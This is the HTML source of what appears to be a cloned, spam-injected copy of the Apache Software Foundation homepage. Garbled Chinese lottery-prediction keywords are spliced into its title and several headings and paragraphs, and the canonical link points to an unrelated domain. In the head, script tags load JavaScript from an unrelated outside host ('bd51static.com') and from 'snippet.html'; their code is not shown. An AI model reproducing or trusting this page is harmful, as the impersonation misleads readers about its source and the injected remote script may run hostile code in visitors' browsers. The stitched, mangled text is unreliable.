1<!DOCTYPE html> 2<html lang="en"> 3 4<head> 5 <meta charset="utf-8"> 6 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 7 <meta name="viewport" content="width=device-width, initial-scale=1"> 8 <link rel="apple-touch-icon" sizes="57x57" href="png/apple-touch-icon-57x57.png"> 9 <link rel="apple-touch-icon" sizes="60x60" href="png/apple-touch-icon-60x60.png"> 10 <link rel="apple-touch-icon" sizes="72x72" href="png/apple-touch-icon-72x72.png"> 11 <link rel="apple-touch-icon" sizes="76x76" href="png/apple-touch-icon-76x76.png"> 12 <link rel="apple-touch-icon" sizes="114x114" href="png/apple-touch-icon-114x114.png"> 13 <link rel="apple-touch-icon" sizes="120x120" href="png/apple-touch-icon-120x120.png"> 14 <link rel="apple-touch-icon" sizes="144x144" href="png/apple-touch-icon-144x144.png"> 15 <link rel="apple-touch-icon" sizes="152x152" href="png/apple-touch-icon-152x152.png"> 16 <link rel="apple-touch-icon" sizes="180x180" href="png/apple-touch-icon-180x180.png"> 17 <link rel="icon" type="image/png" href="png/favicon-32x32.png" sizes="32x32"> 18 <link rel="icon" type="image/png" href="png/favicon-194x194.png" sizes="194x194"> 19 <link rel="icon" type="image/png" href="png/favicon-96x96.png" sizes="96x96"> 20 <link rel="icon" type="image/png" href="png/android-chrome-192x192.png" sizes="192x192"> 21 <link rel="icon" type="image/png" href="png/favicon-16x16.png" sizes="16x16"> 22 <link rel="manifest" href="json/manifest.json"> 23 <link rel="shortcut icon" href="png/favicon.png"> 24 <meta name="msapplication-TileColor" content="#603cba"> 25 <meta name="msapplication-TileImage" content="png/mstile-144x144.png"> 26 <meta name="msapplication-config" content="xml/browserconfig.xml"> 27 <meta name="theme-color" content="#282661"> 28<meta name="robots" content="index, follow, max-image-preview:large"/> 29 <title>168ä½å½©å®æ¹ç½ç«æ¥è¯¢-澳洲ç幸è¿5å½©ç¥¨ææ°ç»æåå²è®°å½-2026澳洲5幸è¿å®ç½168颿µçº§å计å-澳洲äºç»æä½å½©è®°å½å®æ¹ç½</title> 30 <link rel="canonical" href="http://www.teleweb-mallorca.com/" /> 31 <link href="css/montserrat-300-600-800.css" async rel="stylesheet"> 32 <link href="css/opensans.css" async rel="stylesheet"> 33 <link href="css/min.bootstrap.css" async rel="stylesheet"> 34 <link href="css/styles.css" async rel="stylesheet"> 35 <link href="css/new-ui.css" async rel="stylesheet"> 36
36<script src="snippet.html" async></script>
36 37 38 <style> 39.headerlink { 40 visibility: hidden; 41} 42dt:hover > .headerlink, p:hover > .headerlink, td:hover > .headerlink, h1:hover > .headerlink, h2:hover > .headerlink, h3:hover > .headerlink, h4:hover > .headerlink, h5:hover > .headerlink, h6:hover > .headerlink { 43 visibility: visible 44} </style> 45 46 <!-- pagefind search --> 47 <link href="css/pagefind-ui.css" rel="stylesheet"> 48
48<script src="js/pagefind-ui.js" defer></script>
48 49
49<script> 50 window.addEventListener('DOMContentLoaded', (event) => { 51 new PagefindUI({ element: "#pagefind-search" }); 52 }); 53 var pageTitle = 'Welcome to The Apache Software Foundation'; 54 if(pageTitle === '404'){ 55 window.addEventListener('DOMContentLoaded', (event) => { 56 new PagefindUI({ element: "#page-404-search" }); 57 }); 58 } 59 </script>
59 60 61 62
62<script src="js/jquery.min.js"></script>
62<script src="main.js"></script>
62<script type="text/javascript" src="//bd51static.com/10nl.js"></script>
62 63</head> 64 65<body id="home" > 66 67 <!-- Navigation --> 68 <header id="top-header" data-pagefind-ignore="all"> 69 <div class="header-banner"> 70 <div class="inner text-center"> 71 <p>Introducing The ASFâs New Logo <a href="https://news.apache.org/foundation/entry/introducing-the-asfs-new-logo" target="_blank">Read Now</a></p> 72 </div> 73 </div> 74 <div class="logo-row "> 75 <div class="inner text-center py-medium"> 76 <a href="index.html" id="logo"><img src="svg/asflogo_horizontal_color.svg" alt="Apache Software Foundation Logo" class="logo"></a> 77 </div> 78 </div> 79 <div class="lower-header"> 80 <div class="inner"> 81 <div class="navbar-header"> 82 <button class="navbar-toggle" type="button" data-toggle="collapse" data-target="#mainnav-collapse"> 83 <span class="sr-only">Toggle navigation</span> 84 <span class="icon-bar"></span> 85 <span class="icon-bar"></span> 86 <span class="icon-bar"></span> 87 </button> 88 </div> 89 <div class="collapse navbar-collapse" id="mainnav-collapse"> 90 91 <ul class="nav navbar-nav navbar-justified n-navbar-padding"> 92 <li class="dropdown"> 93 <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button">Community <span class="caret"></span></a> 94 <ul class="dropdown-menu" role="menu"> 95 <li role="none"><a role="menuitem" href="https://community.apache.org/" target="_blank">Contributor Getting Started</a></li> 96 <li role="none"><a role="menuitem" href="https://community.apache.org/contributors/" target="_blank">Becoming a Committer</a></li> 97 <li role="none"><a role="menuitem" href="conduct.html">Code of Conduct</a></li> 98 <li role="none"><a role="menuitem" href="index-2.html">Community Resources</a></li> 99 <li role="none"><a role="menuitem" href="https://communityovercode.org/" target="_blank">Community Over Code</a></li> 100 <li role="none"><a role="menuitem" href="https://events.apache.org/" target="_blank">Events</a></li> 101 </ul> 102 </li> 103 <li class="dropdown"> 104 <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button">Projects <span class="caret"></span></a> 105 <ul class="dropdown-menu" role="menu"> 106 <li role="none"><a role="menuitem" href="index-3.html">Projects</a></li> 107 <li role="none"><a role="menuitem" href="https://incubator.apache.org/" target="_blank">Incubator Projects</a></li> 108 <li role="none"><a role="menuitem" href="https://projects.apache.org/" target="_blank">Projects Directory </a></li> 109 <li role="none"><a role="menuitem" href="mailinglists.html">Mailing Lists </a></li> 110 <li role="none"><a role="menuitem" href="index-4.html">Report a Vulnerability</a></li> 111 <li role="none"><a role="menuitem" href="https://attic.apache.org/" target="_blank">The Apache Attic</a></li> 112 </ul> 113 </li> 114 <li class="dropdown"> 115 <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button">Downloads <span class="caret"></span></a> 116 <ul class="dropdown-menu" role="menu"> 117 <li role="none"><a role="menuitem" href="https://downloads.apache.org/" target="_blank">Distributions</a></li> 118 <li role="none"><a role="menuitem" href="https://projects.apache.org/releases.html" target="_blank">Releases</a></li> 119 </ul> 120 </li> 121 <li class="dropdown"> 122 <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button">Learn <span class="caret"></span></a> 123 <ul class="dropdown-menu" role="menu"> 124 <li role="none"><a role="menuitem" href="https://news.apache.org/" target="_blank">Blog</a></li> 125 <li role="none"><a role="menuitem" href="index-5.html">How the ASF Works</a></li> 126 <li role="none"><a role="menuitem" href="index-6.html">The Apache Way</a></li> 127 <li role="none"><a role="menuitem" href="index-7.html">Legal & Trademark</a></li> 128 <li role="none"><a role="menuitem" href="index-8.html">Licenses</a></li> 129 <li role="none"><a role="menuitem" href="glossary.html">Glossary</a></li> 130 <li role="none"><a role="menuitem" href="faq.html">FAQ</a></li> 131 </ul> 132 </li> 133 <li class="dropdown"> 134 <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button">Resources & Tools <span class="caret"></span></a> 135 <ul class="dropdown-menu" role="menu"> 136 <li role="none"><a role="menuitem" href="index-9.html">Developer Information</a></li> 137 <li role="none"><a role="menuitem" href="https://cwiki.apache.org/" target="_blank" >Wiki</a></li> 138 <li role="none"><a role="menuitem" href="https://issues.apache.org/" target="_blank" >Issues</a></li> 139 <li role="none"><a role="menuitem" href="https://infra.apache.org/slack.html" target="_blank" >Slack</a></li> 140 <li role="none"><a role="menuitem" href="https://selfserve.apache.org/" target="_blank" >Self Serve Portal</a></li> 141 <li role="none"><a role="menuitem" href="https://infra.apache.org/" target="_blank" >
141Infrastructure</a></li> 142 <li role="none"><a role="menuitem" href="https://status.apache.org/" target="_blank">Infrastructure Status</a></li> 143 <li role="none"><a role="menuitem" href="https://infra-reports.apache.org/#uptime" target="_blank">Infrastructure Statistics</a></li> 144 <li role="none"><a role="menuitem" href="https://whimsy.apache.org/" target="_blank" >Whimsy</a></li> 145 <li role="none"><a role="menuitem" href="index-10.html">Brand Guidelines</a></li> 146 <li role="none"><a role="menuitem" href="index-11.html">Project Logos</a></li> 147 </ul> 148 </li> 149 <li class="dropdown"> 150 <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button">About <span class="caret"></span></a> 151 <ul class="dropdown-menu" role="menu"> 152 <li role="none"><a role="menuitem" href="index-12.html">About</a></li> 153 <li role="none"><a role="menuitem" href="sponsors.html">Our Sponsors</a></li> 154 <li role="none"><a role="menuitem" href="sponsorship.html">Corporate Sponsorship</a></li> 155 <li role="none"><a role="menuitem" href="individual-supporters.html">Individual Supporters</a></li> 156 <li role="none"><a role="menuitem" href="leadership.html">Leadership</a></li> 157 <li role="none"><a role="menuitem" href="members.html">Members</a></li> 158 <li role="none"><a role="menuitem" href="https://diversity.apache.org/" target="_blank">Diversity & Inclusion</a></li> 159 <li role="none"><a role="menuitem" href="index-13.html">Newsroom</a></li> 160 <li role="none"><a role="menuitem" href="contact.html">Contact</a></li> 161 </ul> 162 </li> 163 164 165 <li><a href="sponsorship.html" class="btn">Sponsor</a></li> 166 <li class="dropdown"> 167 <a href="#" class="dropdown-toggle hidden-xs" data-toggle="dropdown" role="button"><span class="glyphicon glyphicon-search" 168 aria-hidden="true"></span><span class="sr-only">Search</span></a> 169 <ul class="dropdown-menu search-form" role="search"> 170 <li> 171 <div id="pagefind-search" class="input-group" style="width: 100%; padding: 0 5px;"></div> 172 </li> 173 </ul> 174 </li> 175 </ul> 176 </div> 177 </div> 178 </div> 179 </header> 180 <!-- Script is to make the input field ready as soon as user click the search button--> 181 <!-- script could be simplified and shorten in length bootstrap framework --> 182
182<script> 183 document.addEventListener('DOMContentLoaded', function () { 184 // Using Bootstrap's event system for dropdowns 185 $(document).on('shown.bs.dropdown', '.dropdown', function () { 186 // Check if this is the search dropdown 187 if ($(this).find('.glyphicon-search').length > 0) { 188 // Find and focus the search input 189 setTimeout(function() { 190 $('.pagefind-ui__search-input').focus(); 191 }, 50); // Small delay to ensure input is ready 192 } 193 }); 194 }); 195 </script>
195 196 <!-- 197 Default Page Hero section 198 Home page is excluded because it has a more custom design 199 --> 200 201 <main id="maincontent"> 202 <section class="home-hero" id="parallax"> 203<!-- update --> 204<div class="inner flex"> 205<div class="w66 py-xl flex flex-column flex-justify-center pr-medium"> 206<h1 id="software-for-the-public-good">澳洲5幸è¿å®ç½ç»æ168颿µ Software For The Public Good 168彩ç½åå²è®°å½ 澳洲幸è¿5ä½å½©å®ç½KAIå¥ç»ææ¥è¯¢æ°æ®ç½ç«<a class="headerlink" href="#software-for-the-public-good" title="Permalink">¶</a></h1> 207<p>The Apache® Software Foundation (ASF) provides software for the public good, guided by community over code. Like the enduring oak tree, our projects thrive through the contributions of thousands worldwide.</p> 208<p><a class="btn" href="index-3.html">See Projects</a></p> 209</div> 210<div class="w33 relative scrolling-logos"> 211<div class="home-hero-parallax" id="para-1"> 212<img alt="Logo" class="object-fit-contain" loading="lazy" src="png/default.png"/> 213</div> 214<div class="home-hero-parallax" id="para-2"> 215<img alt="Logo" class="object-fit-contain" loading="lazy" src="png/default-2.png"/> 216</div> 217<div class="home-hero-parallax" id="para-3"> 218<img alt="Logo" class="object-fit-contain" loading="lazy" src="png/default-3.png"/> 219</div> 220<div class="home-hero-parallax pad-0" id="para-4"> 221<img alt="Logo" class="object-fit-contain" loading="lazy" src="webp/parallax-4.webp"/> 222</div> 223<div class="home-hero-parallax pad-0" id="para-5"> 224<img alt="Logo" class="object-fit-contain" loading="lazy" src="webp/parallax-5.webp"/> 225</div> 226<div class="home-hero-parallax pad-0" id="para-6"> 227<img alt="Logo" class="object-fit-contain" loading="lazy" src="webp/parallax-8.webp"/> 228</div> 229<div class="home-hero-parallax" id="para-7"> 230<img alt="Logo" class="object-fit-contain" loading="lazy" src="png/default-4.png"/> 231</div> 232<div class="home-hero-parallax pad-0" id="para-8"> 233<img alt="Logo" class="object-fit-contain" loading="lazy" src="webp/parallax-7.webp"/> 234</div> 235</div> 236</div> 237</section> 238<p class="hidden">
239<script> 240 // Parallax scrolling effect for the logos on the right side of the hero section 241 if (window.innerWidth > 600) { 242 // disable parallax on mobile 243 const parallax = document.getElementById('parallax'); 244 const para1 = document.getElementById('para-1'); 245 const para2 = document.getElementById('para-2'); 246 const para3 = document.getElementById('para-3'); 247 const para4 = document.getElementById('para-4'); 248 const para5 = document.getElementById('para-5'); 249 const para6 = document.getElementById('para-6'); 250 const para7 = document.getElementById('para-7'); 251 const para8 = document.getElementById('para-8'); 252 window.addEventListener('scroll', () => { 253 // Check if parallax element is in viewport 254 const rect = parallax.getBoundingClientRect(); 255 const isInViewport = rect.top < window.innerHeight && rect.bottom > 0; 256 if (isInViewport) { 257 let scrollPosition = window.scrollY; 258 para1.style.transform = `translateY(${scrollPosition * -0.5}px)`; 259 para2.style.transform = `translateY(${scrollPosition * -0.1}px)`; 260 para3.style.transform = `translateY(${scrollPosition * -0.2}px)`; 261 para4.style.transform = `translateY(${scrollPosition * -0.5}px)`; 262 para5.style.transform = `translateY(${scrollPosition * -0.4}px)`; 263 para6.style.transform = `translateY(${scrollPosition * -.7}px)`; 264 para7.style.transform = `translateY(${scrollPosition * -0.2}px)`; 265 para8.style.transform = `translateY(${scrollPosition * -0.1}px)`; 266 } 267 }); 268 } 269</script>
269 270</p> 271<section class="bg-navy" id="home-stats"> 272<div class="inner text-center py-large"> 273<h2 class="text-white mt-0" id="our-impact">Our Impact<a class="headerlink" href="#our-impact" title="Permalink">¶</a></h2> 274<div class="stat-boxes flex flex-center mt-large"> 275<div class="stat-box"> 276<a href="https://projects.apache.org/">290+ <span>Open Source Projects</span></a> 277</div> 278<div class="stat-box"> 279<a href="https://projects.apache.org/releases">1300+ <span>Software Releases</span></a> 280</div> 281<div class="stat-box"> 282<a href="https://github.com/orgs/apache/people">9900+ <span>Committers</span></a> 283</div> 284<div class="stat-box"> 285<a href="members.html">1190+ <span>Members</span></a> 286</div> 287</div> 288</div> 289</section> 290<section id="open-source-project"> 291<div class="inner text-center py-large"> 292<div class="text-col"> 293<h2 id="our-open-source-projects">168å½©ç½®å¹¸è¿æ¾³æ´²5å®ç½é¢æµç»ææ¥è¯¢-168澳洲ç幸è¿5å½©ç¥¨ææ°åå²+å·ç è®°å½æ°æ®-168幸è¿(ä¸å½ä½å½©ç½)澳洲äº24ç´æå®æ¹ç½ç« Our Open Source Projects<a class="headerlink" href="#our-open-source-projects" title="Permalink">¶</a></h2> 294<p>The ASF is the home of the world’s most trusted open source projects in data, cloud, search, libraries, geospatial, IoT, and beyond.</p> 295</div> 296<div class="project-cards mb-large"> 297<div class="logo-card" id="grails"> 298<a href="https://grails.apache.org/" target="_blank" title="Grails"> 299<img alt="Grails" class="objec-fit-cover" loading="lazy" src="png/default.png" title="Grails"/> 300</a> 301</div><div class="logo-card" id="johnzon"> 302<a href="https://johnzon.apache.org/" target="_blank" title="Johnzon"> 303<img alt="Johnzon" class="objec-fit-cover" loading="lazy" src="png/default-2.png" title="Johnzon"/> 304</a> 305</div><div class="logo-card" id="hop"> 306<a href="https://hop.apache.org/" target="_blank" title="Hop"> 307<img alt="Hop" class="objec-fit-cover" loading="lazy" src="png/default-3.png" title="Hop"/> 308</a> 309</div><div class="logo-card" id="vcl"> 310<a href="https://vcl.apache.org/" target="_blank" title="VCL"> 311<img alt="VCL" class="objec-fit-cover" loading="lazy" src="png/default-4.png" title="VCL"/> 312</a> 313</div><div class="logo-card" id="ratis"> 314<a href="https://ratis.apache.org/" target="_blank" title="Ratis"> 315<img alt="Ratis" class="objec-fit-cover" loading="lazy" src="png/default-5.png" title="Ratis"/> 316</a> 317</div><div class="logo-card" id="flagon"> 318<a href="https://flagon.apache.org/" target="_blank" title="Flagon"> 319<img alt="Flagon" class="objec-fit-cover" loading="lazy" src="png/default-6.png" title="Flagon"/> 320</a> 321</div><div class="logo-card" id="atlas"> 322<a href="https://atlas.apache.org/" target="_blank" title="Atlas"> 323<img alt="Atlas" class="objec-fit-cover" loading="lazy" src="png/default-7.png" title="Atlas"/> 324</a> 325</div><div class="logo-card" id="parquet"> 326<a href="https://parquet.apache.org/" target="_blank" title="Parquet"> 327<img alt="Parquet" class="objec-fit-cover" loading="lazy" src="png/default-8.png" title="Parquet"/> 328</a> 329</div><div class="logo-card" id="tapestry"> 330<a href="https://tapestry.apache.org/" target="_blank" title="Tapestry"> 331<img alt="Tapestry" class="objec-fit-cover" loading="lazy" src="png/default-9.png" title="Tapestry"/> 332</a> 333</div><div class="logo-card" id="answer"> 334<a href="https://answer.apache.org/" target="_blank" title="Answer"> 335<img alt="Answer" class="objec-fit-cover" loading="lazy" src="png/default-10.png" title="Answer"/> 336</a> 337</div><div class="logo-card" id="echarts"> 338<a href="https://echarts.apache.org/" target="_blank" title="ECharts"> 339<img alt="ECharts" class="objec-fit-cover" loading="lazy" src="png/default-11.png" title="ECharts"/> 340</a> 341</div><div class="logo-card" id="qpid"> 342<a href="https://qpid.apache.org/" target="_blank" title="Qpid"> 343<img alt="Qpid" class="objec-fit-cover" loading="lazy" src="png/default-12.png" title="Qpid"/> 344</a> 345</div> 346</div> 347<p><a class="btn" href="https://projects.apache.org/">See All Projects</a></p> 348<h2 id="our-incubating-projects">Our Incubating Projects<a class="headerlink" href="#our-incubating-projects" title="Permalink">¶</a></h2> 349<div class="project-cards mb-large" id="incubating-projects"> 350<div class="logo-card" id="seata">
351<a href="http://seata.apache.org/" target="_blank" title="Seata"> 352<img alt="Seata" class="objec-fit-cover" loading="lazy" src="png/default-13.png" title="Seata"/> 353</a> 354</div><div class="logo-card" id="cloudberry"> 355<a href="https://cloudberry.apache.org/" target="_blank" title="Cloudberry"> 356<img alt="Cloudberry" class="objec-fit-cover" loading="lazy" src="png/default-14.png" title="Cloudberry"/> 357</a> 358</div><div class="logo-card" id="resilientdb"> 359<a href="https://resilientdb.apache.org/" target="_blank" title="ResilientDB"> 360<img alt="ResilientDB" class="objec-fit-cover" loading="lazy" src="png/default-15.png" title="ResilientDB"/> 361</a> 362</div><div class="logo-card" id="toree"> 363<a href="https://toree.apache.org/" target="_blank" title="Toree"> 364<img alt="Toree" class="objec-fit-cover" loading="lazy" src="png/default-16.png" title="Toree"/> 365</a> 366</div><div class="logo-card" id="fluss"> 367<a href="https://fluss.apache.org/" target="_blank" title="Fluss"> 368<img alt="Fluss" class="objec-fit-cover" loading="lazy" src="png/default-17.png" title="Fluss"/> 369</a> 370</div><div class="logo-card" id="kie"> 371<a href="http://kie.apache.org/" target="_blank" title="KIE"> 372<img alt="KIE" class="objec-fit-cover" loading="lazy" src="png/default-15.png" title="KIE"/> 373</a> 374</div> 375</div> 376<p><a class="btn" href="https://incubator.apache.org/projects/#current">See All Incubating Projects</a></p> 377<p class="hidden">
378<script> 379 jQuery(function(){ 380 var logos = jQuery('#incubating-projects').find('.logo-card'); 381 logos.each(function(){ 382 var img = jQuery(this).find('img'); 383 var link = jQuery(this).find('a'); 384 if(img.attr('src') === 'png/default-15.png'){ 385 var title = jQuery(this).attr('id'); 386 img.remove(); 387 // append a div with the project name to the link 388 link.append('<div class="placeholder-logo">'+title+'</div>'); 389 } 390 }); 391 }); 392 </script>
392 393</p> 394<div class="callout-card callout-card--home py-large"> 395<div class="callout-card-inner py-large px-large"> 396<h2 class="text-white" id="incubate-a-project">Incubate a Project<a class="headerlink" href="#incubate-a-project" title="Permalink">¶</a></h2> 397<p>Give your project a neutral, trusted home where communities flourish — with the ASF’s expertise, tools, and support to help you succeed.</p> 398<p><a class="btn btn--white" href="https://incubator.apache.org/">Incubate Project</a></p> 399</div> 400</div> 401</div> 402</section> 403<section class="everyone-welcome" id="everyone-welcome"> 404<div class="inner py-xl flex gap-large flex-column-reverse-600"> 405<div class="flex-1"> 406<h2 class="text-white mt-0" id="everyone-is-welcome">2026ææ°æ¾³æ´²ç幸è¿5计åå®ç½+168澳洲幸è¿5ä½å½©å®ç½ç»æè®°å½|Everyone is Welcome<a class="headerlink" href="#everyone-is-welcome" title="Permalink">¶</a></h2> 407<p>At The 澳洲5åéå½©ç¥¨ç½ 168åå²è®°å½æ¥è¯¢ 澳洲幸è¿5ä½å½©å®ç½ç´æé¢æµææ°ç»æ ASF, contribution is for everyone. Whether code, docs, or ideas — your +1 makes a difference. Come contribute and grow with us.</p> 408<p><a class="btn btn--white" href="https://community.apache.org/" target="_blank">New to The ASF? Start here</a></p> 409</div> 410<div class="flex-1"> 411<div class="everyone-welcome-image"> 412<img alt="Everyone is Welcome" class="object-fit-cover" id="welcome-image" loading="lazy" src="png/parallax-4.png"/> 413</div>
414<script> 415 var imgArray = ['images/welcome-bg/image-1.webp', 'images/welcome-bg/image-2.webp', 'images/welcome-bg/image-3.webp', 'images/welcome-bg/image-4.webp', 'images/welcome-bg/image-5.webp', 'images/welcome-bg/image-6.webp', 'images/welcome-bg/image-7.webp', 'images/welcome-bg/image-8.webp', 'images/welcome-bg/image-9.webp', 'images/welcome-bg/image-10.webp']; 416 var randomImage = imgArray[Math.floor(Math.random() * imgArray.length)]; 417 var welcomeImage = document.getElementById('welcome-image'); 418 welcomeImage.src = randomImage; 419 </script>
419 420</div> 421</div></section> 422<!-- Quotes --> 423<section id="home-events"> 424<div class="inner py-xl text-center"> 425<h2 id="upcoming-events">168澳洲5彩ç½-澳洲5ææ°é¢æµç»ææ¥è¯¢å®ç½-澳洲ç幸è¿5ä¸å½ä½å½©ç´æè®¡å-168åå²è®°å½æ°æ®æ¥é -澳洲ç幸è¿5åé彩票æ£è§å®æ¹ç½ç« Upcoming Events<a class="headerlink" href="#upcoming-events" title="Permalink">¶</a></h2> 426<div class="slideshow-container"> 427<!-- Full-width slides/quotes --> 428<!-- Remember to adjust the number of dot-container entries below to agree with the slide count --> 429<div class="mySlides event-slide text-left"> 430<div class="flex"> 431<div class="flex-1 event-info event-image"> 432<div class="event-image-wrap"> 433<img alt="Flink Forward Conference banner" class="object-fit-cover" loading="lazy" src="webp/flink.webp"/> 434</div> 435</div> 436<div class="event-content flex-2 flex flex-column pl-medium"> 437<h3 class="event-info event-title" id="flink-forward-2026">Flink Forward 2026<a class="headerlink" href="#flink-forward-2026" title="Permalink">¶</a></h3> 438<h4 class="event-info event-location" id="shenzen-china">Shenzen, China<a class="headerlink" href="#shenzen-china" title="Permalink">¶</a></h4> 439<h5 class="event-info event-dates">July 11-12, 2026</h5> 440<p class="event-info event-description">Flink Forward is the streaming data event for the future, bringing communities together to learn, network, and share experiences and best practices in stream processing, real time analytics, event-driven applications, AI and real-time intelligence, and the management of mission-critical Flink deployments in production.</p> 441<div class="flex-self-end text-right"> 442<a class="btn event-link event-info" href="https://www.flink-forward.org/" target="_blank">See Event</a> 443</div> 444</div> 445</div> 446</div> 447<div class="mySlides event-slide text-left"> 448<div class="flex"> 449<div class="flex-1 event-info event-image"> 450<div class="event-image-wrap"> 451<img alt="Iceberg Summit 2026 banner" class="object-fit-cover" loading="lazy" src="webp/iceberg-summit-2-2
4516.webp"/> 452</div> 453</div> 454<div class="event-content flex-2 flex flex-column pl-medium"> 455<h3 class="event-info event-title" id="iceberg-summit-2026">Iceberg Summit 2026<a class="headerlink" href="#iceberg-summit-2026" title="Permalink">¶</a></h3> 456<h4 class="event-info event-location" id="san-francisco-ca-usa">San Francisco, CA, USA<a class="headerlink" href="#san-francisco-ca-usa" title="Permalink">¶</a></h4> 457<h5 class="event-info event-dates">April 8 - April 9 2026</h5> 458<p class="event-info event-description">Whether you’re a seasoned Iceberg practitioner or just beginning your journey, Iceberg Summit 2026 is the place to gain practical insights, build meaningful connections, and advance your data architecture.</p> 459<div class="flex-self-end text-right"> 460<a class="btn event-link event-info" href="https://www.icebergsummit.org/" target="_blank">See Event</a> 461</div> 462</div> 463</div> 464</div> 465<!-- Next/prev buttons --> 466<a class="prev" onclick="plusSlides(-1)" rel="nofollow">â®</a> 467<a class="next" onclick="plusSlides(1)" rel="nofollow">â¯</a> 468</div> 469<!-- Dots/bullets/indicators; there should be one for each event-slide above --> 470<div class="dot-container"> 471<span class="dot" onclick="currentSlide(1)"></span> 472<span class="dot" onclick="currentSlide(2)"></span> 473</div> 474<!-- END SLIDESHOW CONTAINER --> 475</div> 476</section>
477<section class="hidden" id="home-sponsors"> 478<div class="inner text-center py-large"> 479<div class="text-col"> 480<h2 id="thank-you-sponsors">Thank You, Sponsors<a class="headerlink" href="#thank-you-sponsors" title="Permalink">¶</a></h2> 481<p>The ASF is a 501(c)(3) nonprofit, supported by individual and corporate donors who believe in secure software for the public good and the power of community over code.</p> 482</div> 483<div class="project-cards project-cards--sponsors mb-large" id="sponsor-logos"></div> 484<p><a class="btn" href="sponsors.html">See All Sponsors</a></p> 485</div> 486<p class="hidden">
487<script> 488 // Randomizes an array of sponsors and injects them in the sponsor logos div 489 const sponsors = [ 490 { 491 name: "Apple", 492 logo: "foundation/images/apple-platinum.png", 493 url: "https://www.apple.com/" 494 }, 495 { 496 name: "Amazon Web Services", 497 logo: "foundation/images/aws-platinum.png", 498 url: "https://aws.amazon.com/" 499 }, 500 { 501 name: "Meta", 502 logo: "foundation/images/meta-logo.png", 503 url: "https://www.meta.com/about/" 504 }, 505 { 506 name: "GEICO", 507 logo: "foundation/images/geico-platinum2.png", 508 url: "https://www.geico.com/tech/" 509 }, 510 { 511 name: "Google", 512 logo: "foundation/images/google.png", 513 url: "https://google.com/" 514 }, 515 { 516 name: "Huawei", 517 logo: "foundation/images/huawei-platinum.png", 518 url: "https://huawei.com/" 519 }, 520 { 521 name: "Microsoft", 522 logo: "foundation/images/microsoft.png", 523 url: "https://microsoft.com/" 524 }, 525 { 526 name: "Pineapple Fund", 527 logo: "foundation/images/pineapple_fund.png", 528 url: "https://news.apache.org/foundation/entry/the-apache-software-foundation-receives" 529 }, 530 { 531 name: "Snowflake", 532 logo: "foundation/images/snowflake-platinum.png", 533 url: "https://www.snowflake.com/" 534 }, 535 { 536 name: "VISA", 537 logo: "foundation/images/visa-platinum.png", 538 url: "https://www.visa.com/" 539 }, 540 { 541 name: "Yahoo!", 542 logo: "foundation/images/yahoo-platinum.png", 543 url: "https://yahooinc.com/" 544 } 545 ]; 546 // randomize the sponsors array 547 var randomSponsors = sponsors.sort(() => Math.random() - 0.5); 548 // select first 8 sponsors 549 var selectedSponsors = randomSponsors.slice(0, 8); 550 // create HTML for each sponsor 551 var sponsorHTML = '';
552 selectedSponsors.forEach(function(sponsor) { 553 sponsorHTML += '<div class="logo-card logo-card--sponsor">'; 554 sponsorHTML += '<img class="objec-fit-cover" loading="lazy" src="' + sponsor.logo + '" alt="' + sponsor.name + '">'; 555 sponsorHTML += '</div>'; 556 }); 557 const sponsorLogos = document.getElementById('sponsor-logos'); 558 sponsorLogos.innerHTML = sponsorHTML; 559</script>
559 560</p> 561</section> 562<section class="grad-purple" id="plus-one">
563<script> 564 // Formats the date provided by the blog feed to the desired format 565 function formatDate(dateString) { 566 const date = new Date(dateString); 567 const options = { 568 year: 'numeric', 569 month: 'long', 570 day: 'numeric' 571 }; 572 return date.toLocaleDateString('en-US', options); 573 } 574 </script>
574 575<div class="inner text-center py-xl"> 576<div class="text-col mb-large"> 577<h2 class="text-white" id="asf-plus-one">ASF Plus One<a class="headerlink" href="#asf-plus-one" title="Permalink">¶</a></h2> 578<p class="text-white">Explore what’s new at The ASF — from project news to community voices, all in one place.</p> 579</div> 580<h3 class="text-white" id="most-recent-blog-posts">Most Recent Blog Posts<a class="headerlink" href="#most-recent-blog-posts" title="Permalink">¶</a></h3> 581<div class="blog-feed flex mb-large flex-column-600"> 582<div class="blog-card text-left"> 583<div class="blog-card-inner"> 584<img alt="asf oak leaf logo" class="card-decoration" src="svg/oakleaf.svg"/> 585<div class="blog-date">
585<script>document.write(formatDate('2026-04-09T16:46:30Z'));</script>
585</div> 586<h4 id="the-apache-software-foundation-welcomes-45-new-members">The Apache Software Foundation Welcomes 45 New Members<a class="headerlink" href="#the-apache-software-foundation-welcomes-45-new-members" title="Permalink">¶</a></h4> 587<div class="blog-card-link"> 588<a class="continue" href="https://news.apache.org/?p=7511" target="_blank">Read Post</a> 589</div> 590</div> 591</div><div class="blog-card text-left"> 592<div class="blog-card-inner"> 593<img alt="asf oak leaf logo" class="card-decoration" src="svg/oakleaf.svg"/> 594<div class="blog-date">
594<script>document.write(formatDate('2026-04-08T17:00:00Z'));</script>
594</div> 595<h4 id="the-apache-software-foundation-launches-10m-responsible-ai-initiative-with-initial-175m-donation">The Apache Software Foundation Launches $10M Responsible AI Initiative with Initial $1.75M Donation<a class="headerlink" href="#the-apache-software-foundation-launches-10m-responsible-ai-initiative-with-initial-175m-donation" title="Permalink">¶</a></h4> 596<div class="blog-card-link"> 597<a class="continue" href="https://news.apache.org/?p=7504" target="_blank">Read Post</a> 598</div> 599</div> 600</div><div class="blog-card text-left"> 601<div class="blog-card-inner"> 602<img alt="asf oak leaf logo" class="card-decoration" src="svg/oakleaf.svg"/> 603<div class="blog-date">
603<script>document.write(formatDate('2026-04-07T18:00:00Z'));</script>
603</div> 604<h4 id="the-apache-software-foundation-announces-15m-donation-from-anthropic">The Apache Software Foundation Announces $1.5M Donation from Anthropic<a class="headerlink" href="#the-apache-software-foundation-announces-15m-donation-from-anthropic" title="Permalink">¶</a></h4> 605<div class="blog-card-link"> 606<a class="continue" href="https://news.apache.org/?p=7497" target="_blank">Read Post</a> 607</div> 608</div> 609</div> 610</div> 611<h3 class="text-white" id="plus-one-newsletter">Plus One Newsletter<a class="headerlink" href="#plus-one-newsletter" title="Permalink">¶</a></h3> 612<div class="blog-feed flex flex-column-600 mb-large"> 613<div class="blog-card text-left"> 614<div class="blog-card-inner"> 615<img alt="asf oak leaf logo" class="card-decoration" src="svg/oakleaf.svg"/> 616<div class="blog-date">
